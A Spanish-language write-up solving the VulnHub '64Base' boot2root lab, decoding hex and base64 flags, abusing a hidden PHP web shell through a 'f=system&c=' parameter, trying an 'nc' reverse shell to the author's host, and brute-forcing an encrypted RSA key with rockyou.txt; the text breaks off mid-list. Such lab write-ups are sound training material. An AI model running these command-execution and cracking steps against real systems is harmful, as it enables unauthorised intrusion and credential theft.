64Base VulnHub Boot2Root

15 March 2017

64Base Boot2Root Vulnhub

URL de la máquina: https://www.vulnhub.com/entry/64base-101,173/
Descripción: There are 6 flags to collect. Each in the format of flag1{ZXhhbXBsZSBmbGFnCg==} Beat the Empire and steal the plans for the Death Star before its too late.

Solución

En primer lugar quiero indicar que he resuelto la máquina desde dos redes diferentes por lo que a veces aparecerá la IP 192.168.1.40 y otras veces la IP 192.168.0.171.

Lo primero que hacemos siempre, es realizar un escaneo de puertos de la máquina para ver que servicios están corriendo

_config.yml

Vemos que tiene abiertos los puertos 80, 22, 4899 y el 62964. Parece ser que el servicio ssh está corriendo en el puerto 62964 en lugar de el puerto por defecto(22). Miramos a ver que hay en el puerto 22 y 4899 conectandonos con el comando netcat y observamos que no arroja información relevante, parecen ser servicios levantados para distraer.

_config.yml _config.yml

Empezamos por mirar el puerto 80 accediendo a la IP de la máquina a través del navegador.

_config.yml

Nos encontramos que lo primero que vemos es un mensaje en base64 de bajo del título de la máquina “dmlldyBzb3VyY2UgO0QK” que nos indica “view source ;D”

Abrimos la consola de desarrollador y nos ponemos a mirar el source de la página para ver que nos encontramos. Vemos una cadena de texto en hexadecimal.

_config.yml

5a6d78685a7a4637546d705361566c59546d785062464a7654587056656c464953587055616b4a56576b644752574e7151586853534842575555684b6246524551586454656b5a77596d316a4d454e6e5054313943673d3d0a

Al pasar el hexadecimal a ASCCI nos devuelve una cadena en base64

ZmxhZzF7TmpSaVlYTmxPbFJvTXpVelFISXpUakJVWkdGRWNqQXhSSHBWUUhKbFREQXdTekZwYm1jMENnPT19Cg==

Y al decodear la cadena nos aparece la primera flag.

flag1{NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0Cg==}

EL contenido de la flag es un base64 también.Lo decodeamos y nos dá lo que parece ser un usuario y una contraseña.

64base:Th353@r3N0TdaDr01DzU@reL00K1ing4

Una vez que tenemos el usuario y la contraseña intentamos entrar por ssh con ellos en el puerto 62964 pero sin éxito. Por lo que volvemos a centrarnos en el puerto 80.

Lo siguiente que hacemos es comprobar si existe el fichero robots.txt y en ese caso ver si contiene algún contenido interesante:

User-agent: *
Disallow: /administrator/
Disallow: /admin/
Disallow: /login/
Disallow: /88888/
Disallow: /88888888/
Disallow: /88888888888/
Disallow: /88888888888P/
Disallow: /c3P08P/
Disallow: /C3p0/
Disallow: /A280/
Disallow: /above/
Disallow: /AC1/
Disallow: /across/
Disallow: /activation/
Disallow: /Adjustments/
Disallow: /after/
Disallow: /against/
Disallow: /ago/
Disallow: /air/
Disallow: /Air/
Disallow: /aliens/
Disallow: /All/
Disallow: /allies/
Disallow: /and/
Disallow: /Arcade/
Disallow: /are/
Disallow: /Area/
Disallow: /Armament/
Disallow: /armies/
Disallow: /armour/
Disallow: /arsenal/
Disallow: /Art/
Disallow: /as/
Disallow: /Ascii/
Disallow: /Assassin/
Disallow: /assault/
Disallow: /Assault/
Disallow: /assaults/
Disallow: /Astromech/
Disallow: /AT-AT/
Disallow: /AT-ST/
Disallow: /attacks/
Disallow: /Aural/
Disallow: /away/
Disallow: /awesome/
Disallow: /b/
Disallow: /B/
Disallow: /back-/
Disallow: /Barracks/
Disallow: /base/
Disallow: /Base/
Disallow: /Bases/
Disallow: /Battle/
Disallow: /Bay/
Disallow: /Bays/
Disallow: /Beam/
Disallow: /become/
Disallow: /been/
Disallow: /beneath/
Disallow: /Bike/
Disallow: /BioTronics/
Disallow: /Bipedal/
Disallow: /bizarre/
Disallow: /Blast/
Disallow: /BlasTech/
Disallow: /Blaster/
Disallow: /Block/
Disallow: /bomber/
Disallow: /Bomber/
Disallow: /bombers/
Disallow: /bone/
Disallow: /Bounty/
Disallow: /Brain/
Disallow: /burns/
Disallow: /by/
Disallow: /C/
Disallow: /ca-/
Disallow: /ceiling/
Disallow: /chasing/
Disallow: /Chutes/
Disallow: /civil/
Disallow: /Class/
Disallow: /Collection/
Disallow: /command/
Disallow: /Commander/
Disallow: /Computer/
Disallow: /conflict/
Disallow: /Connecting/
Disallow: /control/
Disallow: /Control/
Disallow: /Controls/
Disallow: /Cooling/
Disallow: /courage/
Disallow: /Cybot/
Disallow: /d/
Disallow: /D/
Disallow: /d88b/
Disallow: /d88P/
Disallow: /d8b/
Disallow: /d8P/
Disallow: /dark/
Disallow: /DeathStar/
Disallow: /Deck/
Disallow: /deflector/
Disallow: /Destroyer/
Disallow: /destruction/
Disallow: /Detention/
Disallow: /devices/
Disallow: /diplomatic/
Disallow: /Diplomatic/
Disallow: /Dismantle/
Disallow: /DL-18/
Disallow: /DL-44/
Disallow: /Docking/
Disallow: /Doors/
Disallow: /Drive/
Disallow: /Droid/
Disallow: /Droids/
Disallow: /e/
Disallow: /E/
Disallow: /efficient/
Disallow: /Empire/
Disallow: /equipped/
Disallow: /escaped/
Disallow: /every/
Disallow: /evil/
Disallow: /extremely/
Disallow: /f/
Disallow: /famous/
Disallow: /fantastic/
Disallow: /far/
Disallow: /faster/
Disallow: /fear/
Disallow: /Fear/
Disallow: /Fighter/
Disallow: /fighters/
Disallow: /fire/
Disallow: /first-shot/
Disallow: /five/
Disallow: /Five/
Disallow: /Fixed/
Disallow: /flaming/
Disallow: /Fleet/
Disallow: /fleets/
Disallow: /following/
Disallow: /for/
Disallow: /for-/
Disallow: /Force/
Disallow: /forces/
Disallow: /freedom/
Disallow: /from/
Disallow: /front/
Disallow: /g/
Disallow: /G/
Disallow: /Galactic/
Disallow: /Galactica/
Disallow: /galaxy/
Disallow: /Gallery/
Disallow: /garrison/
Disallow: /great/
Disallow: /ground/
Disallow: /group/
Disallow: /guard/
Disallow: /Guard/
Disallow: /Han/
Disallow: /Hanger/
Disallow: /has/
Disallow: /have/
Disallow: /heavily-armoured/
Disallow: /Heavy/
Disallow: /heroes/
Disallow: /HH/
Disallow: /-HH–/
Disallow: /HHH/
Disallow: /HHHHH/
Disallow: /HHHHHHHHHHHHHH/
Disallow: /high/
Disallow: /hope/
Disallow: /houses/
Disallow: /humans/
Disallow: /Imperial/
Disallow: /Imperial-class/
Disallow: /individual/
Disallow: /initial/
Disallow: /instituted/
Disallow: /intelligent/
Disallow: /Interrogation/
Disallow: /Intruder/
Disallow: /is/
Disallow: /issued/
Disallow: /It/
Disallow: /its/
Disallow: /j8PY8i/
Disallow: /keeps/
Disallow: /kill/
Disallow: /killing/
Disallow: /known/
Disallow: /Kuat/
Disallow: /l/
Disallow: /-l/
Disallow: /L/
Disallow: /Labs/
Disallow: /Landing/
Disallow: /Laser/
Disallow: /Launch/
Disallow: /Lennert/
Disallow: /level/
Disallow: /levels/
Disallow: /Lever/
Disallow: /Light/
Disallow: /line/
Disallow: /ll/
Disallow: /located/
Disallow: /long/
Disallow: /longer/
Disallow: /LS/
Disallow: /Luke/
Disallow: /M/
Disallow: /machi-/
Disallow: /machine/
Disallow: /made/
Disallow: /magical/
Disallow: /Maintenance/
Disallow: /Medical/
Disallow: /Meeting/
Disallow: /members/
Disallow: /Merr-Sonn/
Disallow: /meters/
Disallow: /MilleniumFalconSide/
Disallow: /MilleniumFalconTop/
Disallow: /Miscellaneous/
Disallow: /mission/
Disallow: /Mission/
Disallow: /Monitors/
Disallow: /monster/
Disallow: /monsters/
Disallow: /motivator/
Disallow: /multi-function/
Disallow: /mystical/
Disallow: /n/
Disallow: /nel/
Disallow: /nery/
Disallow: /Neutronic/
Disallow: /New/
Disallow: /nn/
Disallow: /-nn–/
Disallow: /no/
Disallow: /o/
Disallow: /-o/
Disallow: /o–/
Disallow: /O/
Disallow: /o8/
Disallow: /o88888888/
Disallow: /o88888/888888888/
Disallow: /occupational/
Disallow: /of/
Disallow: /Office/r/
Disallow: /Office/r/s/
Disallow: /office/s/
Disallow: /Offices/
Disallow: /on/
Disallow: /On/
Disallow: /only/
Disallow: /oo/
Disallow: /o/———–/o/
Disallow: /oo/—-/
Disallow: /OO/
Disallow: /OOO/
Disallow: /OOOOO/
Disallow: /oppression/
Disallow: /or/
Disallow: /order/
Disallow: /Order/
Disallow: /outgunned/
Disallow: /Outnumbered/
Disallow: /overwhelming/
Disallow: /pable/
Disallow: /pacity/
Disallow: /Pack/
Disallow: /Parking/
Disallow: /Person-/
Disallow: /personnel/
Disallow: /Pilots/
Disallow: /pistol/
Disallow: /Pistol/
Disallow: /planet/
Disallow: /Platform/
Disallow: /power/
Disallow: /Power/
Disallow: /powerful/
Disallow: /pre-fabricated/
Disallow: /primary/
Disallow: /prime/
Disallow: /Probe/
Disallow: /process/
Disallow: /programming/
Disallow: /protect/
Disallow: /prototypes/
Disallow: /Quarters/
Disallow: /rack/
Disallow: /racks/
Disallow: /Radar/
Disallow: /rag-tag/
Disallow: /Ramp/
Disallow: /ratio/
Disallow: /reaches/
Disallow: /Rebellion/
Disallow: /Rebels/
Disallow: /Reception/
Disallow: /Recreation/
Disallow: /reflexes/
Disallow: /reign/
Disallow: /Release/
Disallow: /renowned/
Disallow: /Repair/
Disallow: /Rifle/
Disallow: /Rifles/
Disallow: /risen/
Disallow: /Room/
Disallow: /rooms/
Disallow: /Rooms/
Disallow: /-Row/
Disallow: /same/
Disallow: /Science/
Disallow: /Scout/
Disallow: /Security/
Disallow: /Sensor/
Disallow: /Sensors/
Disallow: /Service/
Disallow: /Setting/
Disallow: /shadow/
Disallow: /Shield/
Disallow: /SHIELD/
Disallow: /shields/
Disallow: /ships/
Disallow: /Shops/
Disallow: /Shuttle/
Disallow: /Sienar/
Disallow: /Sight/
Disallow: /single/
Disallow: /smuggler/
Disallow: /Solo/
Disallow: /space/
Disallow: /Space/
Disallow: /Speeder/
Disallow: /Spy-Eye/
Disallow: /staff/
Disallow: /standard-design/
Disallow: /Star/
Disallow: /Station/
Disallow: /Stock/
Disallow: /Storage/
Disallow: /Stormtrooper/
Disallow: /strange/
Disallow: /Stun/
Disallow: /Suite/
Disallow: /surface/
Disallow: /Surface/
Disallow: /Surveillance/
Disallow: /System/
Disallow: /systems/
Disallow: /takes/
Disallow: /Technical/
Disallow: /terrible/
Disallow: /terror/
Disallow: /than/
Disallow: /the/
Disallow: /The/
Disallow: /their/
Disallow: /them/
Disallow: /These/
Disallow: /thick/
Disallow: /this/
Disallow: /This/
Disallow: /thousand/thousand/
Disallow: /throughout/
Disallow: /Tie/
Disallow: /TIE/
Disallow: /time/
Disallow: /to/
Disallow: /Tower/
Disallow: /towers/
Disallow: /Towers/
Disallow: /Tractor/
Disallow: /trade/
Disallow: /Trade/
Disallow: /tresses/
Disallow: /Turbolaser/
Disallow: /Turbolifts/
Disallow: /turned/
Disallow: /Turrets/
Disallow: /Twin/
Disallow: /two/
Disallow: /Type/
Disallow: /tyranny/
Disallow: /unending/
Disallow: /up/
Disallow: /upon/
Disallow: /Use/
Disallow: /usually/
Disallow: /vast/
Disallow: /Vehicle/
Disallow: /Vent/
Disallow: /versatile/
Disallow: /view/
Disallow: /villains/
Disallow: /Visual/
Disallow: /Walker/
Disallow: /walls/
Disallow: /war/
Disallow: /Wars/
Disallow: /weapon/
Disallow: /weapons/
Disallow: /widespread/
Disallow: /with/
Disallow: /wondrous/
Disallow: /worlds/
Disallow: /XOX/
Disallow: /X-wing/
Disallow: /XXXXX/XXXXX/XXXXX/
Disallow: /XXXXXXXXXXXXXXXXXXXXX/
Disallow: /Y8/
Disallow: /Y88/
Disallow: /Y888888/
Disallow: /Y888888888P/
Disallow: /Y8b/
Disallow: /Yard/
Disallow: /Zero/
Disallow: /ZZ

Hay un montón de entradas, por lo que nos descargamos el fichero y utilizamos la herramienta dirb para ver que carpetas o ficheros existen en la máquina y cuáles son falsos positivos.

./dirb http://192.168.0.171 ~/Desktop/robots.txt -w

Pero el resultado no nos aclara nada porque dice haber encontrado 413 carpetas de 858 posibilidades que existen en el fichero robots.txt

Decidimos dar una vuelta por la página web y nos encontramos con la siguiente pista.

_config.yml

Comprobamos si alguna de esas cuatro palabras está en el fichero robots.txt y efectivamente vemos que System e Imperial-class se encuentran en el fichero. Intentamos entrar en ellas y no hay suerte con ninguna de las dos, pero Imperial-class en la pista, empieza por C mayuscula…cambiamos el path a como indica la pista y efectivamente existe esa carpeta.Al intentar entrar nos aparece un basic authentication.

_config.yml

Probamos el usuario y contraseña que nos dió la flag1 y son válidos!! pero parece ser que falta algo en el path, por lo que miramos el source y vemos un comentario.

_config.yml

Probamos a poner BountyHunter también en el path y obtenemos una página de login.

_config.yml

Intentamos loguear con distintos usuarios tipicos de admin:admin e incluso con el usuario y contraseña de la flag1 pero parece ser que no son correctos, por lo que pasamos a mirar el source de la página, por si hubiera algún comentario como en el caso anterior.

_config.yml

Vemos que hay un comentario que pone basictoken y una cadena en hexadecimal. Pasamos de hexadecimal a ascci y nos dá una cadena en base64 que intentamos decodear:

echo RqMTJTbmQ1ZEVaWFFUaDFRUW89fQo= | base64 -d

Pero nos aparece el error de invalid input por lo que parece ser que la cadena está incompleta. Vemos que en la imagen donde está el basictoken también hay cadenas en hexadecimal tanto en el campo user como en el campo password, por lo que probamos a unir todas las cadenas:

5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c3252714d544a54626d51315a45566157464655614446525557383966516f3d0a

y pasarlas a ascci obteniendo la siguiente cadena en base64:

ZmxhZzJ7YUhSMGNITTZMeTkzZDNjdWVXOTFkSFZpWlM1amIyMHZkMkYwWTJnL2RqMTJTbmQ1ZEVaWFFUaDFRUW89fQo=

Y esta vez si que decodeando el base64 nos dá la segunda flag:

flag2{aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj12Snd5dEZXQTh1QQo=}

El contenido de la segunda flag es la siguiente dirección de youtube:

https://www.youtube.com/watch?v=vJwytFWA8uA

Donde aparece un video de Darth Vader con una url todo el rato en pantalla “www.yourburp.com” y el título de Darth Vader use Burp.

Lo que nos indica claramente que tenemos que utilizar BurpSuite o cualquier otro programa capaz de interceptar las peticiones.

Volvemos a realizar las acciones de login con Burp y vemos que cuando se envía los datos del login se produce el envío de la información a login.php y su respuesta nos muestra la flag3, haciendo luego una redirección a index.php

_config.yml

flag3{NTNjcjN0NWgzNzcvSW1wZXJpYWwtQ2xhc3MvQm91bnR5SHVudGVyL2xvZ2l uLnBocD9mPWV4ZWMmYz1pZAo=}

EL contenido de la flag 3 es:
“53cr3t5h377/Imperial-Class/BountyHunter/login.php?f=exec&c=id”

Lo que nos indica que hay una shell secreta (53cr3t5h377) en el path indicado.

Entramos en ese path y observamos lo siguiente: _config.yml

Metemos algunos comando en el parámetro “c” pero vemos que no ocurre nada, cuando caemos en la cuenta que en la páginad de post.html se nos dá una pista remarcado en amarillo donde indica “DON’T USE EXEC USE SYSTEM” que hemos marcado en fotos anteriores en rojo con una flecha.

Por lo que cambiamos “exec” por “system” en el parámetro “f” y obtenemos la flag4

_config.yml

cuyo contenido es 64base:64base5h377 lo que indica que son otras credenciales.

Probamos estas credenciales en el basic authentication del path /admin/ y en la conexión ssh pero ambos sin resultado.

Trás esto lo primero que hice fué dumpear el contenido de login.php en un fichero de texto para ver el source del fichero y comprobar que efectivamente se estaban realizando filtrado de caracteres.

Despúes lo primero que se me viene a la cabeza es conectarme a mi máquina host con una shell mediante el comando “nc 192.168.0.154 4444” pero parece ser que lo han tenido encuenta ya que nos muestran el siguiente gato:

_config.yml

Después de un buen rato y estar probando distintos comandos, encontramos algunos que nos son útiles como wget, locale, xargs, find, grep… mediante prueba y error conseguimos localizar la flag5 con el siguiente comando.

locale admin| grep html| xargs find

_config.yml

Obteniendo la flag5:

/var/www/html/admin/S3cR37/flag5{TG9vayBJbnNpZGUhIDpECg==}

que decodeado el contenido es “Look Inside! :D”

Otra forma de haber conseguido está flag hubiera sido levantar un apache/ngix localmente he intentar con wget dumpear una shell o una shell inversa.

Por lo que tenemos que intentar coger el fichero con nombre “flag5{TG9vayBJbnNpZGUhIDpECg==}”

Para ello lo que hacemos es buscamos el fichero específico y lo copiamos al directorio actual donde estamos.

El comando utilizado es:

locale admin | grep html | xargs find | grep TG9vay | xargs cp .

Intentamos entrar al fichero por el navegador pero nos devuelve un error 403, lo que indica que no tenemos permisos suficientes, por lo que vamos a cambiar los permisos con el siguiente comando:

randmoms_chars | ls | grep flag5 | xargs chmod 0666

Ahora accediendo por el navegador si podemos ver el contenido del fichero, que resulta ser una imagen.

_config.yml

Nos descargamos la imagen para examinarla con wget a nuestra máquina y la abrimos con un editor hexadecimal.

En ella podemos ver una cadena en hexadecimal muy larga

4c5330744c5331435255644a546942535530456755464a4a566b46555253424c52566b744c5330744c517051636d396a4c565235634755364944517352553544556c6c5156455645436b52460a5379314a626d5a764f69424252564d744d5449344c554e43517977324d6a46424d7a68425155513052546c475155457a4e6a55335130457a4f44673452446c434d7a553251776f4b625552300a556e684a643267304d464a54546b467a4d697473546c4a49646c4d356557684e4b325668654868564e586c795231424461334a6955566376556d64515543745352307043656a6c57636c52720a646c6c334e67705a59303931575756615457707a4e475a4a55473433526c7035536d64345230686f5533685262336857626a6c7252477433626e4e4e546b5270636e526a62304e50617a6c530a524546484e5756344f58673056453136436a684a624552435558453161546c5a656d6f35646c426d656d56435246706b53586f35524863795a323479553246465a335531656d56734b7a5a490a52303969526a686161444e4e53574e6f6554687a4d5668795254414b61335a4d53306b794e544a74656c64334e47746955334d354b31466856336c6f4d7a52724f45704a566e7031597a46520a51336c69656a56586231553157545532527a5a784d564a6b637a426959315a785446567a5a51704e5533704c617a4e745332465851586c4d574778764e3078756258467856555a4c5347356b0a516b557855326851566c5a704e47497752336c475355785054335a3062585a47596a5172656d68314e6d705056316c49436d73796147524453453554644374705a3264354f57686f4d3270680a52576456626c4e51576e56464e30354b6430525a5954646c553052685a3077784e31684c634774744d6c6c70516c5a7956566834566b31756232494b643168535a6a56435930644c56546b330a65475276636c59795648457261446c4c553278615a5463354f58527956484a475230356c4d4456326545527961576f315658517953324e52654373354f457334533342585441706e645570510a556c424c52326c71627a6b3253455248597a4e4d4e566c7a65453969566d63724c325a714d4546326330746d636d4e574c327834595663725357313562574d7854566870536b316962554e360a62455233436c52425632316863577453526b52355154464956585a30646c4e6c566e46544d533949616d6845647a6c6b4e45747a646e4e71613270326557565256484e7a5a6e4e6b52324e560a4d47684561316833556c647a6332514b4d6d517a5279744f616d3078556a56615445356e556d784f63465a48616d684c517a524263325a59557a4e4b4d486f7964444e4355453035576b39430a54554a6c4f5552344f4870744e58684757546c365633527964677042523342794d454a6f4f45745264323177616c4656597a46685a6e4e78595646594d465649546b7859564446615431644c0a616d63305530457a57454d355a454e4665555a784d464e4a65464671547a6c4d52304e48436a52524e57356a5a6c566f62585a3063586c3164454e7362444a6b5746427a57465a455a54526c0a6230517851327432536b354557544e4c554663725232744f4f5577724f554e516554677252453531626b5a4a6433674b4b3151724b7a64525a7939315546684c6354524e4e6a464a555467770a4d7a52566148565356314d30564846514f57463657444e44527a6c4d65573970516a5a57596b74505a555233546a68686157784d533170436377706d57546c524e6b464e4d584e3562476c360a53444675626e684c5433526155566431636e68715230704353584d324d6e526c6245317259584d356555354e617a4e4d64546478556b6732633364504f584e6b56454a70436974714d4867300a64555261616b706a5a30315965475a694d4863315154593062466c4763303153656b5a714e31686b5a6e6b784f53744e5a54684b525768524f45744f57455233555574456556564d526b39550a63336f4b4d544e575a6b4a4f65466c7a65557731656b6459546e703563566f3053533950547a644e5a575179616a4248656a426e4d6a4670534545764d445a74636e4d795932786b637a5a540a56554a4852585a754f4535705667707955334a494e6e5a46637a5254656d63776544686b5a45643255544278567a463254577455556e557a54336b765a544577526a63304e586845545546550a53314a7353316f32636c6c4954554e34536a4e4a59323530436b56364d45394e57466c6b517a5a4461555976535664305a3252564b32684c65585a7a4e484e4764454e4359327854595764740a5246524b4d6d74615a485530556c4a3357565a574e6d394a546e6f35596e4250646b554b556e677a534656785a6d354c553268796458704e4f56707261556c7264564e6d556e526d615531320a596c52365a6d5a4b56464d30597a513451303831574339535a5559765157464e654774695532524654305a7a53517047646a6c595a476b355532524f6458684853455579527a5249646b706b0a53584279526c5679566c4e7755306b344d48646e636d49794e44567a647a5a6e5647397064466f354d47684b4e47354b4e5746354e304648436c6c7059574531627a63344e7a63765a6e63320a57566f764d6c557a5155526b61564e50516d3072614770574d6b705765484a7665565659596b63315a475a734d32303452335a6d4e7a464b4e6a4a4753484534646d6f4b63557068626c4e720a4f4445334e586f77596d70795746646b5445637a52464e735355707063327851567974355247466d4e316c43566c6c33563149725645457861304d326157564a5154563056544e776269394a0a4d776f324e466f31625842444b3364785a6c52345232646c51334e6e53577335646c4e754d6e41765a5756305a456b7a5a6c46584f46645952564a69524756304d56564d5346427864456c700a4e314e61596d6f3464697451436d5a7553457852646b563353584d72516d59785133424c4d554672576d565654564a4655577443614552704e7a4a49526d4a334d6b6376656e46306153395a0a5a4735786545463562445a4d576e704a5a5646754f48514b4c3064714e477468636b6f78615530355357597a4f57524e4e55396851315a615569395554304a575956493462584a514e315a300a536d39794f57706c53444a305255777764473946635664434d56424c4d48565955416f744c5330744c55564f524342535530456755464a4a566b46555253424c52566b744c5330744c516f3d0a

que pasamos a ascci obteniendo un texto en base64:

LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRF Sy1JbmZvOiBBRVMtMTI4LUNCQyw2MjFBMzhBQUQ0RTlGQUEzNjU3Q0EzODg4RDlCMzU2QwoKbUR0 UnhJd2g0MFJTTkFzMitsTlJIdlM5eWhNK2VheHhVNXlyR1BDa3JiUVcvUmdQUCtSR0pCejlWclRr dll3NgpZY091WWVaTWpzNGZJUG43Rlp5Smd4R0hoU3hRb3hWbjlrRGt3bnNNTkRpcnRjb0NPazlS REFHNWV4OXg0VE16CjhJbERCUXE1aTlZemo5dlBmemVCRFpkSXo5RHcyZ24yU2FFZ3U1emVsKzZI R09iRjhaaDNNSWNoeThzMVhyRTAKa3ZMS0kyNTJteld3NGtiU3M5K1FhV3loMzRrOEpJVnp1YzFR Q3liejVXb1U1WTU2RzZxMVJkczBiY1ZxTFVzZQpNU3pLazNtS2FXQXlMWGxvN0xubXFxVUZLSG5k QkUxU2hQVlZpNGIwR3lGSUxPT3Z0bXZGYjQremh1NmpPV1lICmsyaGRDSE5TdCtpZ2d5OWhoM2ph RWdVblNQWnVFN05Kd0RZYTdlU0RhZ0wxN1hLcGttMllpQlZyVVh4Vk1ub2IKd1hSZjVCY0dLVTk3 eGRvclYyVHEraDlLU2xaZTc5OXRyVHJGR05lMDV2eERyaWo1VXQyS2NReCs5OEs4S3BXTApndUpQ UlBLR2lqbzk2SERHYzNMNVlzeE9iVmcrL2ZqMEF2c0tmcmNWL2x4YVcrSW15bWMxTVhpSk1ibUN6 bER3ClRBV21hcWtSRkR5QTFIVXZ0dlNlVnFTMS9IamhEdzlkNEtzdnNqa2p2eWVRVHNzZnNkR2NV MGhEa1h3Uldzc2QKMmQzRytOam0xUjVaTE5nUmxOcFZHamhLQzRBc2ZYUzNKMHoydDNCUE05Wk9C TUJlOUR4OHptNXhGWTl6V3RydgpBR3ByMEJoOEtRd21walFVYzFhZnNxYVFYMFVITkxYVDFaT1dL amc0U0EzWEM5ZENFeUZxMFNJeFFqTzlMR0NHCjRRNW5jZlVobXZ0cXl1dENsbDJkWFBzWFZEZTRl b0QxQ2t2Sk5EWTNLUFcrR2tOOUwrOUNQeTgrRE51bkZJd3gKK1QrKzdRZy91UFhLcTRNNjFJUTgw MzRVaHVSV1M0VHFQOWF6WDNDRzlMeW9pQjZWYktPZUR3TjhhaWxMS1pCcwpmWTlRNkFNMXN5bGl6 SDFubnhLT3RaUVd1cnhqR0pCSXM2MnRlbE1rYXM5eU5NazNMdTdxUkg2c3dPOXNkVEJpCitqMHg0 dURaakpjZ01YeGZiMHc1QTY0bFlGc01SekZqN1hkZnkxOStNZThKRWhROEtOWER3UUtEeVVMRk9U c3oKMTNWZkJOeFlzeUw1ekdYTnp5cVo0SS9PTzdNZWQyajBHejBnMjFpSEEvMDZtcnMyY2xkczZT VUJHRXZuOE5pVgpyU3JINnZFczRTemcweDhkZEd2UTBxVzF2TWtUUnUzT3kvZTEwRjc0NXhETUFU S1JsS1o2cllITUN4SjNJY250CkV6ME9NWFlkQzZDaUYvSVd0Z2RVK2hLeXZzNHNGdENCY2xTYWdt RFRKMmtaZHU0UlJ3WVZWNm9JTno5YnBPdkUKUngzSFVxZm5LU2hydXpNOVpraUlrdVNmUnRmaU12 YlR6ZmZKVFM0YzQ4Q081WC9SZUYvQWFNeGtiU2RFT0ZzSQpGdjlYZGk5U2ROdXhHSEUyRzRIdkpk SXByRlVyVlNwU0k4MHdncmIyNDVzdzZnVG9pdFo5MGhKNG5KNWF5N0FHCllpYWE1bzc4NzcvZnc2 WVovMlUzQURkaVNPQm0raGpWMkpWeHJveVVYYkc1ZGZsM204R3ZmNzFKNjJGSHE4dmoKcUphblNr ODE3NXowYmpyWFdkTEczRFNsSUppc2xQVyt5RGFmN1lCVll3V1IrVEExa0M2aWVJQTV0VTNwbi9J Mwo2NFo1bXBDK3dxZlR4R2dlQ3NnSWs5dlNuMnAvZWV0ZEkzZlFXOFdYRVJiRGV0MVVMSFBxdElp N1NaYmo4ditQCmZuSExRdkV3SXMrQmYxQ3BLMUFrWmVVTVJFUWtCaERpNzJIRmJ3MkcvenF0aS9Z ZG5xeEF5bDZMWnpJZVFuOHQKL0dqNGthckoxaU05SWYzOWRNNU9hQ1ZaUi9UT0JWYVI4bXJQN1Z0 Sm9yOWplSDJ0RUwwdG9FcVdCMVBLMHVYUAotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=

Que decodeado nos muestra una clave rsa privada cifrada.

—–BEGIN RSA PRIVATE KEY—–
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,621A38AAD4E9FAA3657CA3888D9B356C
mDtRxIwh40RSNAs2+lNRHvS9yhM+eaxxU5yrGPCkrbQW/RgPP+RGJBz9VrTkvYw6 YcOuYeZMjs4fIPn7FZyJgxGHhSxQoxVn9kDkwnsMNDirtcoCOk9RDAG5ex9x4TMz 8IlDBQq5i9Yzj9vPfzeBDZdIz9Dw2gn2SaEgu5zel+6HGObF8Zh3MIchy8s1XrE0 kvLKI252mzWw4kbSs9+QaWyh34k8JIVzuc1QCybz5WoU5Y56G6q1Rds0bcVqLUse MSzKk3mKaWAyLXlo7LnmqqUFKHndBE1ShPVVi4b0GyFILOOvtmvFb4+zhu6jOWYH k2hdCHNSt+iggy9hh3jaEgUnSPZuE7NJwDYa7eSDagL17XKpkm2YiBVrUXxVMnob wXRf5BcGKU97xdorV2Tq+h9KSlZe799trTrFGNe05vxDrij5Ut2KcQx+98K8KpWL guJPRPKGijo96HDGc3L5YsxObVg+/fj0AvsKfrcV/lxaW+Imymc1MXiJMbmCzlDw TAWmaqkRFDyA1HUvtvSeVqS1/HjhDw9d4KsvsjkjvyeQTssfsdGcU0hDkXwRWssd 2d3G+Njm1R5ZLNgRlNpVGjhKC4AsfXS3J0z2t3BPM9ZOBMBe9Dx8zm5xFY9zWtrv AGpr0Bh8KQwmpjQUc1afsqaQX0UHNLXT1ZOWKjg4SA3XC9dCEyFq0SIxQjO9LGCG 4Q5ncfUhmvtqyutCll2dXPsXVDe4eoD1CkvJNDY3KPW+GkN9L+9CPy8+DNunFIwx +T++7Qg/uPXKq4M61IQ8034UhuRWS4TqP9azX3CG9LyoiB6VbKOeDwN8ailLKZBs fY9Q6AM1sylizH1nnxKOtZQWurxjGJBIs62telMkas9yNMk3Lu7qRH6swO9sdTBi +j0x4uDZjJcgMXxfb0w5A64lYFsMRzFj7Xdfy19+Me8JEhQ8KNXDwQKDyULFOTsz 13VfBNxYsyL5zGXNzyqZ4I/OO7Med2j0Gz0g21iHA/06mrs2clds6SUBGEvn8NiV rSrH6vEs4Szg0x8ddGvQ0qW1vMkTRu3Oy/e10F745xDMATKRlKZ6rYHMCxJ3Icnt Ez0OMXYdC6CiF/IWtgdU+hKyvs4sFtCBclSagmDTJ2kZdu4RRwYVV6oINz9bpOvE Rx3HUqfnKShruzM9ZkiIkuSfRtfiMvbTzffJTS4c48CO5X/ReF/AaMxkbSdEOFsI Fv9Xdi9SdNuxGHE2G4HvJdIprFUrVSpSI80wgrb245sw6gToitZ90hJ4nJ5ay7AG Yiaa5o7877/fw6YZ/2U3ADdiSOBm+hjV2JVxroyUXbG5dfl3m8Gvf71J62FHq8vj qJanSk8175z0bjrXWdLG3DSlIJislPW+yDaf7YBVYwWR+TA1kC6ieIA5tU3pn/I3 64Z5mpC+wqfTxGgeCsgIk9vSn2p/eetdI3fQW8WXERbDet1ULHPqtIi7SZbj8v+P fnHLQvEwIs+Bf1CpK1AkZeUMREQkBhDi72HFbw2G/zqti/YdnqxAyl6LZzIeQn8t /Gj4karJ1iM9If39dM5OaCVZR/TOBVaR8mrP7VtJor9jeH2tEL0toEqWB1PK0uXP
—–END RSA PRIVATE KEY—–

La clave está cifrada y al intentar conectarnos por ssh a la máquina nos pide una passphrase que no tenemos…por lo que tenemos que hacer bruteforce (tal y como decía la imagen) para averiguarla.

Buscando por internet una herramienta para hacer fuerza bruta al passphrase de una clave rsa nos encontramos con una tool llamada “phrasendrescher” en la página de pentestmonkey.

http://pentestmonkey.net/blog/phrasendrescher

Primero intentamos hacer una fuerza bruta de carácter incremental entre 1 y 8 caractéres:

_config.yml

Trás un rato y viendo que no obteniamos resultado decido intentarlo con el diccionario por excelencia en estos casos, rockyou.txt, con el que efectivamente obtenemos resultado:

_config.yml

A partir de aquí podemos hacerlo de dos formas:

  • Entrar por ssh con la clave cifrada y cuando nos pida el passphrase insertarlo
